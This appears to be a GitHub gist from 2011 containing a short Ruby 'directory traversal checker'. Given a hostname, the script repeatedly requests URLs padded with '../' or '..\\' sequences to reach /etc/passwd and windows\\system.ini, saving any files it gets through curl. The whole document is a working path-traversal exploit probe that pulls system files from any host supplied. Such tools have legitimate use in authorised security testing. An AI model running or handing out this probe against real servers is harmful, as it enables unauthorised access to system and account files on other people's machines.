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presidentbeef/gist:933331

Created April 20, 2011 23:32
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Directory traversal checker
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gistfile1.rb
require 'cgi'
abort "Please supply hostname" unless ARGV[0]
hostname = ARGV[0]
depth = (ARGV[1] || 12 ).to_i
1.upto(depth) do |n|
$stderr.puts "Depth: #{n}"
windows_url = "#{hostname}/#{"..\\" * n}windows\\system.ini"
linux_url = "#{hostname}/#{"../" * n}etc/passwd"
`curl -s --fail -O "#{windows_url}"`
`curl -s --fail -O "#{linux_url}"`
end
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